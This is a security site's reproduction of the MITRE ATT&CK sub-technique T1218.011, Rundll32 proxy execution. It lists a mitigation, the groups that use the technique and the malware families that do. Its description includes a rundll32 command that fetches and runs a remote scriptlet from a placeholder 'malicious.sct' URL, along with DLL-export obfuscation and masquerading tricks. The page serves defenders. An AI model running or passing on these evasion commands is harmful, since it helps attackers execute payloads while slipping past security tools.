Gold Open Source
ExplorePackagesVulnerabilitiesCWEsMCP ServersScan
Login
Gold Open Source

The authoritative source for production-ready open-source components. Every package, container image, AI model, and MCP server undergoes rigorous verification for security, malware, and license compliance.

Explore Gold

  • Explore Everything
  • Packages
  • Gold Certified Packages
  • Container Images
  • AI Models
  • MCP Servers
  • Agent Skills
  • Chip Manufacturers

Security Data & Tools

  • Scan Your Dependencies
  • Trending Threats
  • Threat RSS Feeds
  • CVE Database
  • Actively Exploited (KEV)
  • SGZ Zero-Days
  • CWE Index
  • MITRE ATT&CK
  • Malicious Packages
  • Security Glossary
  • Supply-Chain Report
  • Developers (API & Badge)
  • Chrome Extension
  • Credits & Data Sources

Products

  • The Platform
  • ESSCM
  • Portal
  • TPRM
  • OSM
  • Cowork
  • Code / Runner
  • Guard

Use Cases

  • Know Your Software
  • Auto-Fix Vulnerabilities
  • Asset Discovery
  • AI Governance
  • MCP Server Security
  • Supply Chain Compliance
  • Zero-Day Discovery
  • All Use Cases

Company

  • About
  • Pricing
  • Blog
  • Documentation
  • Safeguard Academy
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 Gold Open Source. All rights reserved.

Built with care bySafeguard
Home/ATT&CK/T1218/T1218.011
MITRE ATT&CK Sub-Technique

T1218.011: Rundll32

ShareXLinkedInRedditHN

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion) Threat actors may also abuse legitimate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.dll</code>) with <code>rundll32.exe</code> to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll) Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>). Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

Tactics
Stealth
Platforms
Windows

▪Parent technique

T1218: System Binary Proxy Execution

▪Mitigations (1)

M1050Exploit Protection

Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits. These capabilities aim to prevent exploitation by addressing vulnerabilities, monitoring anomalous behaviors, and applying exploit-mitigation techniques to harden systems and software. Operating System Exploit Protections: - Use Case: Enable built-in exploit protection features provided by modern operating systems, such as Microsoft's Exploit Protection, which includes techniques like Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR), and Control Flow Guard (CFG). - Implementation: Enforce DEP for all programs and enable ASLR to randomize memory addresses used by system and application processes. Windows: Configure Exploit Protection through the Windows Security app or deploy settings via Group Policy. `ExploitProtectionExportSettings.exe -path "exploit_settings.xml"` Linux: Use Kernel-level hardening features like SELinux, AppArmor, or GRSEC to enforce memory protections and prevent exploits. Third-Party Endpoint Security: - Use Case: Use endpoint protection tools with built-in exploit protection, such as enhanced memory protection, behavior monitoring, and real-time exploit detection. - Implementation: Deploy tools to detect and block exploitation attempts targeting unpatched software. Virtual Patching: - Use Case: Use tools to implement virtual patches that mitigate vulnerabilities in applications or operating systems until official patches are applied. - Implementation: Use Intrusion Prevention System (IPS) to block exploitation attempts on known vulnerabilities in outdated applications. Hardening Application Configurations: - Use Case: Disable risky application features that can be exploited, such as macros in Microsoft Office or JScript in Internet Explorer. - Implementation: Configure Microsoft Office Group Policies to disable execution of macros in downloaded files.

▪Used by groups (26)

G0007APT28G0008CarbanakG0022APT3G0032Lazarus GroupG0034Sandworm TeamG0046FIN7G0047Gamaredon GroupG0050APT32G0052CopyKittensG0059Magic HoundG0069MuddyWaterG0073APT19G0082APT38G0092TA505G0094KimsukyG0096APT41G0102Wizard SpiderG0108Blue MockingbirdG0125HAFNIUMG0127TA551G0140LazyScripterG0143Aquatic PandaG1034DaggerflyG1039RedCurlG1048UNC3886G1053Storm-0501

▪Software using this technique (69)

S0032gh0st RATmalwareS0044JHUHUGITmalwareS0045ADVSTORESHELLmalwareS0046CozyCarmalwareS0074SakulamalwareS0081ElisemalwareS0082EmissarymalwareS0093Backdoor.OldreamalwareS0113PrikormkamalwareS0137CORESHELLmalwareS0139PowerDukemalwareS0141Winnti for WindowsmalwareS0142StreamExmalwareS0143FlamemalwareS0147PteranodonmalwareS0148RTMmalwareS0154Cobalt StrikemalwareS0167MatryoshkamalwareS0196PUNCHBUGGYmalwareS0204BribamalwareS0236KwampirsmalwareS0244ComniemalwareS0250KoadictoolS0255DDKONGmalwareS0256MosquitomalwareS0260InvisiMolemalwareS0267FELIXROOTmalwareS0268BisonalmalwareS0342GreyEnergymalwareS0353NOKKImalwareS0356KONNImalwareS0368NotPetyamalwareS0381FlawedAmmyymalwareS0382ServHelpermalwareS0412ZxShellmalwareS0438AttormalwareS0452USBferrymalwareS0461SDBbotmalwareS0481Ragnar LockermalwareS0483IcedIDmalwareS0512FatDukemalwareS0518PolyglotDukemalwareS0520BLINDINGCANmalwareS0554EgregormalwareS0559SUNBURSTmalwareS0568EVILNUMmalwareS0576MegaCortexmalwareS0589SibotmalwareS0606Bad RabbitmalwareS0634EnvyScoutmalwareS0635BoomBoxmalwareS0637NativeZonemalwareS0650QakBotmalwareS0698HermeticWizardmalwareS1026MongallmalwareS1027Heyoka BackdoormalwareS1030SquirrelwafflemalwareS1039BumblebeemalwareS1044FunnyDreammalwareS1050PcSharetoolS1052DEADEYEmalwareS1064SVCReadymalwareS1100NinjamalwareS1122MispadumalwareS1130Raspberry RobinmalwareS1160LatrodectusmalwareS1183StrelaStealermalwareS1190KapekamalwareS1196Troll Stealermalware

▪Reference

T1218.011on MITRE ATT&CK

MITRE ATT&CK® is a registered trademark of The MITRE Corporation. © 2026 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation.